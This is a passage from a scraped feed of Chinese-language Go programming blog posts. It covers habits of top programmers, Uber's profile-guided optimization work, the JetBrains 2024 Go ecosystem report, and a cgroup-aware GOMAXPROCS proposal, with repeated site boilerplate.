智能体（Agent）正成为企业自动化、提升生产力的关键力量。从处理日常重复任务到辅助复杂决策，智能体的应用场景日益广泛。然而，一个严峻的挑战随之而来：\u003cstrong\u003e不同框架、不同厂商构建的智能体往往如同信息孤岛，难以有效协作\u003c/strong\u003e，这极大地限制了它们在复杂企业环境中的潜力释放。\u003c/p\u003e","title":"告别智能体孤岛：谷歌A2A协议能否成为企业AI协作的通用语？"},{"content":"揭秘顶尖技术专家的15个关键方法与心态，不只靠代码 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n揭秘顶尖技术专家的15个关键方法与心态，不只靠代码 四月 13, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/13/top-programmers-methods-mindset\n这可能是我看到的关于‘如何成为顶尖程序员’最深刻的总结之一！\n在快速迭代的技术世界里，每一位开发者或许都曾思考：是什么区分了“优秀”与“卓越”？仅仅是掌握了最新的框架或语言吗？Matthias Endler在他广受关注的文章《我所认识的最优秀的程序员》中，基于多年的观察，提炼出了那些真正顶尖的工程师们所共有的特质与习惯。这并非一份简单的技能清单，而更像是一份关于技术匠心、持续成长和专业心态的深度指南。在这篇文章中，我门将一同探索这些宝贵的洞见，希望能为你我的技术之路带来启发。\n要深入理解顶尖程序员的与众不同之处，我们首先需要探究他们是如何构建坚实的技术基础，以及在日常工作中如何对待最基本的技术细节。\n夯实基础：深度理解与精准调试 卓越并非空中楼阁，它建立在对一手资料和工具的深刻理解和对错误的精准把握之上。\n深入理解工具 (Know Your Tools Well): 顶尖开发者追求对所用技术的基本原理的深刻理解（Grokking），这远超仅仅“会用”的层面。一个普通用户可能会在使用中磕磕绊绊、感到困惑、甚至用错方法而忽略优化。而专家则追求透彻理解，他们能够自信地写出配置，理解其中每一行的含义并能向同事解释清楚，不留任何疑问。要真正做到“深入了解”一个工具，你需要掌握它的：\n历史: 谁创造了它？为何创造？旨在解决什么问题？了解背景有助于把握其设计哲学。 现状: 谁在维护？他们在哪里工作？当前开发的重点是什么？这关乎其发展方向和稳定性。 局限: 何时不适用？它的边界条件和可能失效的场景是什么？知其短板才能扬长避短。 生态: 有哪些关键的库或插件？社区活跃度如何？谁在广泛使用它？生态决定了其生命力和可扩展性。 正如文中所举的例子：如果你是一名重度使用 Kafka 的后端工程师，成为顶尖人才意味着你需要对 Kafka 有着系统和深入的认知，而非仅仅依赖于论坛上的零散信息。 阅读原始文档 (Read the Reference): 遇到问题时，他们的第一反应往往不是求助于Stack Overflow或LLM，而是直奔官方文档、规范或源代码。无论是Apache的配置、Python标准库，还是TOML 规范，他们相信第一手资料的价值。这种习惯让他们能够自信地配置工具的每一行参数，并清晰地解释其原因。深入了解技术的历史（Why）、现状（Who \u0026amp; What）和局限性（When not to use）是他们专业性的体现。如果你重度依赖Kafka，那么对Kafka的深入了解就应该是你的基本功。\n细读错误信息 (Read The Error Message): 面对错误，他们不会惊慌失措或随意猜测，而是会真正地、深入地阅读错误信息，尝试理解其背后的含义。他们相信，错误信息本身就蕴含了解决问题的线索。这种从细微处推理的能力，让他们能够独立解决大部分问题，甚至在帮助他人时展现出惊人的洞察力。\n拒绝猜测 (Don’t Guess): “面对模棱两可，拒绝猜测的诱惑”——《Python之禅》中的这条原则被顶尖开发者奉为圭臬。猜测可能会暂时“解决”问题，但错误的假设会构建脆弱的认知模型，遗患无穷。他们宁愿花费更多时间去问询、查阅资料、使用调试器，也要确保自己基于确凿的事实进行判断和行动。\n掌握了扎实的基础知识固然重要，但真正的挑战往往在于如何运用这些知识去解决现实世界中的复杂问题。卓越的工程师在这方面同样展现出非凡的能力。\n攻坚克难：拆解问题与拥抱挑战 拥有扎实的基础后，真正的较量在于如何面对并征服技术难题。解决复杂问题的能力，是衡量工程师价值的核心标尺。\n分解问题 (Break Down Problems): 面对棘手的难题，卓越工程师的核心策略是将其分解为更小、更易于管理的部分。这需要经验，也需要优秀的解决问题的技巧。他们懂得，将大问题拆解成一系列小问题逐一攻破，最终会发现原本看似不可能的任务变得可行。这正是专业开发工作的核心价值所在。\n勇于实践 (Don’t Be Afraid To Get Your Hands Dirty): 他们从不畏惧接触陌生的代码库或技术栈，不会轻易说“这不归我管”或“我帮不了你”。相反，他们会主动深入其中，通过阅读和修改代码来学习。这种勇于探索和实践的态度，使他们能够快速掌握新技能，并最终成为团队中不可或缺的关键人物，仅仅因为他们是那些“敢于动手”的人。\n保持简洁 (Keep It Simple): 聪明的工程师可能会写出复杂的代码，但卓越的工程师追求编写简洁的代码。他们深知，在大多数情况下，简单即是最好，因为它更易于理解、维护和扩展。懂得在复杂度和实用性之间做出明智取舍，是区分顶尖人才的重要标志。\n主动解决问题的能力令人钦佩，然而，是什么支撑着顶尖开发者在漫长的职业生涯中始终保持敏锐和活力呢？答案往往隐藏在他们独特的思维模式和对成长的持续追求之中。\n成长心态：持续学习与谦逊求知 技术能力之外，是什么支撑着顶尖开发者持续进步？关键在于永恒的成长心态和对知识的敬畏。 技术日新月异，唯有持续学习和开放心态才能立于不败之地。\n永不止步的学习 (Never Stop Learning): 许多顶尖开发者，即使年逾花甲，依然保持着对新知识的好奇心和学习热情。他们不会固守陈规，而是持续评估新技术的价值。即使决定不采用某项新技术，他们也能清晰地阐述原因、适用场景及替代方案。这种开放和批判性的学习态度，让他们始终保持思维的敏锐和知识的更新。\n地位无关紧要 (Status Doesn’t Matter): 他们乐于与任何人交流，无论是首席工程师还是初级开发者。他们相信每个人身上都有值得学习的地方，尤其是新人往往能带来不受“历史包袱”束缚的新鲜视角和创意。\n耐心是美德 (Have Patience): 无论是面对行为“怪异”的计算机，还是需要时间学习成长的同事，耐心都是不可或缺的品质。顶尖开发者明白，问题总有逻辑可循，他人只是信息不全。缺乏耐心只会让人陷入抱怨和挫败。专注、投入和耐心是解决难题、推动项目和维系团队的关键。\n永不归咎于计算机 (Never Blame the Computer): 面对看似随机或无法解释的 Bug，他们坚信背后必有逻辑原因，只是尚未找到。他们会持续挖掘，直到找到根源。这种承担责任、刨根问底的态度，是他们能够不断进步和深入理解系统的基础。\n勇于承认未知 (Don’t Be Afraid to Say “I Don’t Know”): 承认“我不知道”并非示弱，而是诚实和学习的起点。顶尖的开发者从不害怕暴露自己的知识边界，他们知道这是提出问题、进行推导和学习新知的契机。拒绝不懂装懂，是建立信任和实现真正成长的基础。\n技术上的精进和持续成长的内在驱动力是成为顶尖开发者的核心要素，但他们的影响力往往超越了个人代码的范畴。卓越工程师深知协作与分享的力量，并以此来放大自身价值。\n协作与影响力：乐于助人，善于表达 顶尖的技术实力若想产生更广泛的影响，离不开有效的协作、清晰的表达和积极的知识分享。卓越工程师的影响力，往往超越其个人代码产出。\n乐于助人 (Always Help Others): 尽管自身工作繁忙，他们通常都乐于向他人伸出援手。这种天生的好奇心和乐于助人的精神，不仅帮助了他人，也促使他们自身不断思考和学习，是他们成为优秀工程师的重要因素。拥有这样的成员，对任何团队来说都是巨大的财富。\n写作即思考 (Write): 大多数顶尖工程师都具备良好的沟通能力，并且乐于分享知识。写作（博客、文档、演讲稿等）是他们整理思路、沉淀知识并扩大影响力的重要方式。清晰的写作往往反映了清晰的思维逻辑，这与其代码风格常常是相辅相成的。\n建立声誉 (Build a Reputation): 做好工作是基础，但让你的工作成果被认可，才能真正扩大你的影响力。无论是构建关键系统、开发流行工具、贡献开源项目还是著书立说，都是建立声誉的方式。声誉的建立是一个长期投入的过程，它能让你接触到更有挑战的项目，吸引更多合作者，最终“规模化”你的积极影响。\n从深入理解基础到攻坚克难，从保持成长心态到积极协作与分享，这些关键特质共同描绘了顶尖技术专家的画像。\n小结 成为一名顶尖的程序员，并非一蹴而就，也无关天赋异禀。正如Matthias Endler在文章中所揭示的，这更关乎一系列刻意培养的习惯、严谨的思维方式和持续精进的专业态度。从深入理解基础，到勇于面对挑战，再到保持谦逊学习和积极协作，这些特质共同构筑了卓越工程师的画像。\n这并非一份僵化的检查清单，而是一面镜子，映照出我们可以在日常工作中不断打磨和提升的方向。愿这些来自顶尖开发者实践的启示，能激励我们在技术的道路上走得更远、更稳健。\n原文链接:The Best Programmers I Know | Matthias Endler — https://endler.dev/2025/best-programmers\n你认为顶尖开发者最重要的特质是什么？欢迎在评论区分享你的观点。\n加入「Go \u0026amp; AI 精进营」知识星球，开启你的技术跃迁之旅！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/13/top-programmers-methods-mindset/","summary":"\u003cp\u003e揭秘顶尖技术专家的15个关键方法与心态，不只靠代码 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"揭秘顶尖技术专家的15个关键方法与心态，不只靠代码"},{"content":"Go开发者必看！Uber如何利用PGO将Go服务性能优化推向新高度？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo开发者必看！Uber如何利用PGO将Go服务性能优化推向新高度？ 四月 11, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/11/uber-go-pgo-optimization\n对于像Uber这样广泛采用Go语言（Uber 60%的CPU资源都用于支撑Go服务运行）的科技巨头而言，性能优化不仅关乎用户体验，更直接影响着运营成本。继多年前通过GOGC调优节省7万CPU核心后，Uber近期再次发力，分享了其在大规模Go服务中部署Profile-Guided Optimization (PGO) 的实践经验，并通过自动化框架和工具创新，克服了关键挑战，实现了显著的性能收益。在这篇文章中，我就来介绍一下Uber的PGO优化之旅，供大家参考。\nPGO：Go近几个版本持续投入的性能优化手段 Profile-Guided Optimization (PGO)，即配置文件引导的优化，是一种利用程序实际运行时的性能分析数据（Profile）来指导编译器进行优化的技术。相比传统的静态分析和启发式规则，PGO能够让编译器更精准地识别热点代码路径、函数调用频率、分支预测等，从而做出更优的优化决策，例如：\n更智能的函数内联(Inlining): 基于实际调用频率，更精确地决定内联哪些“热”函数，即便这些函数在常规编译时可能不会被内联，从而减少函数调用开销。 接口调用的去虚拟化(Devirtualization): 在PGO数据表明接口变量在运行时通常指向特定具体类型时，可以将动态派发转换为更高效的直接调用。 优化的代码布局: 通过基本块重排、函数分割、函数重排等，改善指令缓存（iCache）和TLB的命中率，减少CPU前端停顿。 Go语言自Go 1.20版本开始引入对PGO的支持（最初侧重于内联优化），并在Go 1.21中，PGO实现生产可用，并增加了PGO驱动的去虚拟化(Devirtualization)。这表明Go官方对利用运行时信息提升性能的重视以及持续的投入。并且，通过用户的实际体验报告来看，PGO的确可以在一定程度上改善Go应用的性能，在Go 1.21及后续版本中，启用PGO 后，工作负载的性能常会有2%到7%的提升。\n不过此前一直缺少来自大厂对PGO实践效果的声音，而Uber恰恰满足了Go社区的这个需求。\nUber的大规模PGO实践：自动化与挑战 面对数千个Go微服务，Uber在内部构建了一个持续优化的PGO框架：\n其流程大致如下：\n持续性能分析: 每日自动收集生产环境中多个服务实例的pprof CPU profiles。 配置文件聚合: 将收集到的profiles进行合并，生成具有代表性的服务性能画像。 服务注册: 通过配置系统，选择性地为特定服务开启PGO编译。 CI/CD 集成: 在持续集成环节，使用-pgo标志和生成的profile文件编译Go服务。 部署与监控: 将PGO优化的二进制文件部署到生产环境，并通过监控仪表盘追踪性能变化。 然而，大规模推广PGO并非一帆风顺。Uber很快遇到了一个关键挑战：启用PGO后，部分服务的编译时间急剧增加，最高可达8倍！这严重影响了开发和部署效率。\n通过深入分析，团队发现根源在于Go编译器在为每个包编译时，都需要重复读取和解析完整的pprof文件，这在高并发的构建系统中造成了巨大的I/O和CPU开销，占据了PGO编译流程中高达95%的时间。\n如何解决这个问题呢？我们接着看Uber工程师的创新方案。\n破局：创新的Profile预处理工具 为了解决编译耗时的瓶颈，Uber与Google Go编译器团队合作，开发并向上游贡献了一个profile预处理工具（该功能已集成到Go 1.23）。\n这个工具的核心思想是“一次解析，多次使用”。它能够独立运行，提前读取原始的pprof文件，并解析profile数据以提取函数调用关系和频率信息。关键信息被转换并缓存为一种紧凑的中间格式（WeightedCallGraph，或加权调用图），使得Go编译器可以直接读取这种轻量级的中间格式，无需再解析庞大的pprof文件，从而显著降低编译开销。\n在Uber内部部署该预处理工具并每日更新预处理后的profile后，有效解决了PGO带来的编译时间增加问题，大部分服务的编译耗时恢复到了接近优化前的水平，为PGO的大规模应用铺平了道路。\n既然问题解决了，那PGO优化带来的最终效果如何呢？下面就来揭晓答案。\nPGO的性能影响：实证与观察 虽然在Uber复杂的生产环境中精确衡量PGO的独立影响（排除流量波动、自动伸缩、代码变更等因素）存在挑战，但他们的分析依然揭示了PGO的价值。他们分别观察了基准测试的结果以及生产环境的结果。\n合成基准测试 在流行的go-json库基准测试中，PGO带来了平均12% 的性能提升，部分微基准测试提升超过20%。观察发现，PGO显著降低了30%以上的iTLB misses，并能内联一些因体积过大而被默认启发式规则忽略的热点函数（如checkValid）。在tally指标库基准测试中，PGO也带来了平均10% 的性能提升，部分测试超过50%。\n生产环境观察 通过对比启用PGO前后7天的性能数据，Uber对其Top 6的Go服务进行了分析。结果显示，启用PGO后，这些服务的CPU核心分配数出现了可见的下降趋势。综合估算，PGO优化（主要是内联改进）在这些顶级服务中贡献了约4% 的性能增益，相当于节省了约24,000个CPU核心。\n此外，通过对比 PGO 前后的profile火焰图，可以确认PGO确实内联了之前未被内联的关键热点函数，验证了性能提升主要来源于PGO优化。\nGOGC调优回顾：Uber的优化基因 值得一提的是，PGO并非Uber在Go性能优化上的首次大规模尝试。\n多年前，他们通过名为GOGCTuner的内部工具，解决了Go GC（垃圾回收）在大量服务中CPU占用过高的问题。默认的GOGC=100策略对于内存使用模式多样且运行在有内存限制容器中的服务并非最优，容易导致GC过于频繁或存在OOM风险。\n为此，Uber开发了GOGCTuner库，能够根据容器的cgroup内存限制动态调整GOGC值，例如设定一个内存使用上限百分比（如70%），以在保证内存安全的前提下尽可能减少GC次数，从而降低CPU开销。该工具巧妙地利用runtime.SetFinalizer实现了低开销的GC事件触发调整机制，最终为Uber节省了约70000个CPU核心。具体内容可以参见本文参考资料中的”How We Saved 70K Cores Across 30 Mission-Critical Services”一文。\n从GOGC调优到PGO自动化，也体现了Uber在Go性能优化领域持续投入和系统化解决问题的工程文化。\n小结 Uber的实践清晰地表明，PGO是Go性能优化的一个强大武器，尤其对于CPU密集型或具有复杂调用关系的应用。虽然大规模应用PGO会遇到挑战（如编译时间），但通过工具创新（如Go 1.23集成的profile预处理功能）是完全可以克服的。\n对于广大Go开发者而言，关注PGO显得尤为重要。随着Go版本的迭代，PGO的能力和易用性也在不断提升，了解并尝试在自己的项目中应用PGO，可能会带来意想不到的性能收益。\nGo 1.23及以后版本集成的PGO预处理能力，大大降低了PGO的使用门槛，有效解决了编译耗时的主要痛点。同时，学习Uber系统化、数据驱动的性能优化方法论，从GC调优到PGO，能够帮助开发者持续挖掘性能潜力。\nGo社区与像Uber这样的大规模实践者之间的良性互动（问题发现、解决方案到上游贡献）正在不断推动Go语言及其工具链走向成熟和高效。我们期待看到更多Go应用通过PGO等先进优化技术实现性能的新突破。\n本文内容主要基于Uber Engineering Blog的两篇文章(见参考资料列表)，特别感谢Uber工程师团队（包括前成员Jin Lin、Raj Barik等）以及Google Go编译器团队（Michael Pratt、Cherry Mui、Austin Clements等）在PGO领域的探索、实践和分享。\n你对在项目中使用PGO有什么看法或疑问吗？欢迎留言讨论！\n参考资料 Automating Efficiency of Go programs with Profile-Guided Optimizations – https://www.uber.com/blog/automating-efficiency-of-go-programs-with-pgo How We Saved 70K Cores Across 30 Mission-Critical Services – https://www.uber.com/blog/how-we-saved-70k-cores-across-30-mission-critical-services Adopting Arm at Scale: Transitioning to a Multi-Architecture Environment – https://www.uber.com/blog/adopting-arm-at-scale-transitioning-to-a-multi-architecture-environment Gopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Gopher的AI原生应用开发第一课”、“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/11/uber-go-pgo-optimization/","summary":"\u003cp\u003eGo开发者必看！Uber如何利用PGO将Go服务性能优化推向新高度？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go开发者必看！Uber如何利用PGO将Go服务性能优化推向新高度？"},{"content":"Go开发者必看！JetBrains 2024报告深度解读：Go语言现状、趋势与未来机遇 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo开发者必看！JetBrains 2024报告深度解读：Go语言现状、趋势与未来机遇 四月 10, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/10/jetbrains-2024-go-report-analysis\n嘿，各位Gopher！\n你是否也在关心Go语言的最新动态？它还在快速增长吗？薪资水平如何？未来方向在哪？\n这是我看到的关于2024年Go语言发展趋势最全面、数据最翔实的一份报告解读。 JetBrains，这家开发者们都非常熟悉的工具公司，最近发布了《Is Golang Still Growing? Go Language Popularity Trends in 2024》的研究报告文章。如果你是Go开发者，或者正在关注Go生态，这篇文章就是为你准备的，强烈推荐阅读！\n在深入细节之前，先为你快速提炼报告的核心发现，让你高效把握重点：\nGo开发者规模依旧庞大且专业： 全球专业Go开发者估算超400万，且持续增长。 云原生主战场地位稳固： Web服务、云服务、IT基础设施是Go应用核心领域。 “钱景”诱人： Go开发者薪资普遍处于行业较高水平。 各大榜单表现亮眼： 在TIOBE、GitHub Octoverse等多个权威榜单中，Go排名稳定或显著上升。 与Rust互补而非替代： 两者定位不同，常被结合使用。 未来聚焦： 持续深耕云原生，并在GenAI基础设施领域崭露头角。 Go开发者画像：规模、角色与“钱景” 报告显示，全球使用Go的专业开发者规模可观。JetBrains估计近一年有410万专业人士使用Go，其中180万将其作为主要语言之一。SlashData的估算则更高，达到470万（包含学生和爱好者），而最新的Stack Overflow和SlashData数据推算更是达到了580万。\n从上图中展示的开发者从事的软件类型来看：\nWeb服务 (无GUI): 744,000 网站: 732,000 云服务: 681,000 开发者角色方面(如上图)，除了大量的**软件工程师/程序员 (约160万)**外，**DevOps/基础设施工程师(约50万)**的比例也相当高，这凸显了Go在云原生基础设施和运维领域的巨大需求。\n更让Gopher们关心的是薪资。报告明确指出，Go开发者是业内薪资最高的人群之一。美国Go开发者的平均年薪约为**$76,000**，经验丰富者甚至可达**$500,000**。\nGo的应用版图：核心场景与行业分布 Go最常见的两大用例依然是：\nAPI/RPC服务(75%) 命令行工具(62%) 哪些行业在重度使用Go呢？\n科技 (超过40%): Google, DataDog, K8s, HashiCorp, Dropbox, Salesforce, Apple… 金融服务 (13%): Monzo, American Express, Mercado Libre… 交通与零售 (10%): Amazon, Uber, DeliveryHero, HelloFresh… 媒体/游戏 (7%): Netflix, Bytedance, Tencent, Reddit, Snap… 多维数据透视：Go在各大榜单上的表现 担心Go的热度？来看看它在各大权威榜单上的表现吧：\nJetBrains语言潜力指数: Go排名 第4，仅次于TypeScript, Rust, Python，显示出强大的增长潜力和用户粘性。 Stack Overflow开发者调查: 在“受喜爱和期望” (Admired and Desired) 榜单中，Go从去年的第9位跃升至第7位，超过了C#和Shell。 GitHub Octoverse: 稳定保持在 Top 10 编程语言之列，并且是 Top 3增长最快的语言之一 (开源项目活跃度)。 Cloudflare Radar (API客户端语言): Go在2024年 超越Node.js，成为自动化API请求最常用的语言，占比约12% (去年为8.4%)。 TIOBE指数: Go从2023年的第13位大幅攀升至第7位，达到自2009年以来的最高排名！** TIOBE 2025.04榜单 这些数据有力地证明，Go语言不仅没有衰退，反而在多个维度上保持着强劲的势头。\nGo vs Rust：是对手还是队友？ 报告特别提到了Go与同样热门的Rust的关系。结论是：它们更多是互补，而非直接竞争。\nGo: 更易上手，开发效率高，非常适合云服务、微服务、API、CLI开发，强调 快速开发和可伸缩性。 Rust: 性能极致，适用于性能密集型、底层嵌入式开发，但复杂性更高，开发成本和时间也更高。 许多公司会同时使用这两种语言，根据场景需求选择最合适的工具。对Rust感兴趣的Go开发者增多，并不意味着Go市场份额的下降。\nGo的未来之路：聚焦云原生与拥抱GenAI 展望未来，Go团队将继续聚焦云原生领域，满足其对开发效率 (time to value)、可靠性和可伸缩性的核心需求。\n一个令人兴奋的新方向是生成式AI (GenAI) 基础设施。虽然Go在传统机器学习领域不如Python，但其在性能和可伸缩性上的优势，使其成为构建**AI模型服务 (model serving)**等生产级AI基础设施的理想选择。\n主流AI平台 (OpenAI, Google AI等) 已提供Go SDK。 Go的GenAI生态正在成长，涌现出如Ollama, LangChain Go, kserve等工具。 GenAI基础设施本身，就像云基础设施一样，正在越来越多地用Go编写。 报告还提到，Go项目领导层虽有变动（Russ Cox卸任，Austin Clements和Cherry Mui接任），但新领导层对Go的理念和目标有深刻理解，确保了项目的连续性和稳定性。Go 1.24已于2025年2月发布，未来可期。\n总结：黄金时代，未来可期 总而言之，JetBrains这份详尽的报告描绘了一个清晰的画面：\n2024年，Go语言不仅保持了稳定发展，更在云原生领域巩固了核心地位，并在GenAI基础设施等新兴领域展现出强劲潜力。它正步入一个成熟且充满机遇的“黄金时代”。\n对于Gopher们来说，持续深耕云原生，关注Go在AI基础设施的应用，无疑是明智的选择。\n那么，你认为Go语言的下一个增长点会在哪里？你对Go的未来有什么看法？\n欢迎在评论区留下你的真知灼见，一起交流探讨！\nGopher部落知识星球在2025年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。并且，2025年将在星球首发“Gopher的AI原生应用开发第一课”、“Go陷阱与缺陷”和“Go原理课”专栏！此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/10/jetbrains-2024-go-report-analysis/","summary":"\u003cp\u003eGo开发者必看！JetBrains 2024报告深度解读：Go语言现状、趋势与未来机遇 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go开发者必看！JetBrains 2024报告深度解读：Go语言现状、趋势与未来机遇"},{"content":"Go 1.25新提案：GOMAXPROCS默认值将迎Cgroup感知能力，终结容器性能噩梦？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo 1.25新提案：GOMAXPROCS默认值将迎Cgroup感知能力，终结容器性能噩梦？ 四月 9, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/09/gomaxprocs-defaults-add-cgroup-aware\nGo官方出手！新提案自动优化容器内GOMAXPROCS，告别性能噩梦！\n在Kubernetes等容器环境中运行Go应用时，一个常见的性能陷阱悄然存在：默认的GOMAXPROCS值基于节点CPU核心数，而非Pod的CPU限制(limit)，导致资源争抢和性能下降。近期一篇广受关注的博客文章“Golang Performance Penalty in Kubernetes”通过实测数据揭示了这一问题带来的显著延迟增加（高达65%+）和吞吐量降低（近20%）。\n不过近期，Go核心团队带来一则好消息，Go Runtime团队的Michael Pratt已正式提出一项提案(#73193)，旨在让Go运行时默认感知Linux Cgroup的CPU quota限制并自动调整GOMAXPROCS值，该提案有望在Go 1.25中为开发者带来开箱即用的性能优化，告别在容器或Kubernetes中手动配置GOMAXPROCS的烦恼。\n在这篇文章中，我会对当前GOMAXPROCS默认值在云原生环境引发的性能问题以及Pratt的提案做一个详细说明，供广大Gopher们参考。\n容器中GOMAXPROCS的“水土不服”与性能代价 自Go 1.5版本起，GOMAXPROCS默认设置为“可用的CPU核心数”（综合考虑机器核心数和CPU亲和性设置）。这在单租户或资源不受严格限制的环境下工作良好。然而，在普遍使用Cgroup进行资源隔离的容器化部署场景中，这一默认行为却常常与Pod的实际CPU限制limits.cpu）产生严重错位，引发一系列性能问题。\n想象一下：一个Go应用部署在拥有32个vCPU的K8s节点上，但其Pod的limits.cpu被设置为1。Go运行时看到的是32核，于是默认将GOMAXPROCS设为32。这意味着Go运行时会尝试并发运行多达32个操作系统线程来执行Go代码，而Kubernetes（通过Cgroup的CPU Quota机制）却严格限制该Pod在每个调度周期内（如100ms）只能使用相当于1个CPU的计算时间。\n这会带来什么后果？ 正如Mansoor Majeed在其博客文章《Golang Performance Penalty in Kubernetes》中通过基准测试所生动展示的：\n过度的上下文切换 32个活跃的Go线程争抢远少于此的可用CPU时间片（在此例中仅相当于1个CPU的时间），迫使操作系统内核进行大量、且低效的线程上下文切换。在他的测试中，错误配置GOMAXPROCS的场景下，上下文切换次数（context_switches_total）相比正确配置时飙升了近4倍（从约6.5k/s 增加到30k/s）。\nCPU配额扼杀(Throttling)与调度延迟 应用（尤其CPU密集型任务，如博客中的Fibonacci计算）的并发线程迅速耗尽Cgroup分配的CPU时间配额(cpu.cfs_quota_us)。一旦耗尽，内核将强制暂停该Cgroup内所有线程的执行，直到下一个调度周期(cpu.cfs_period_us)开始。这直接导致了请求处理的延迟尖峰。博客中的”Process Schedule 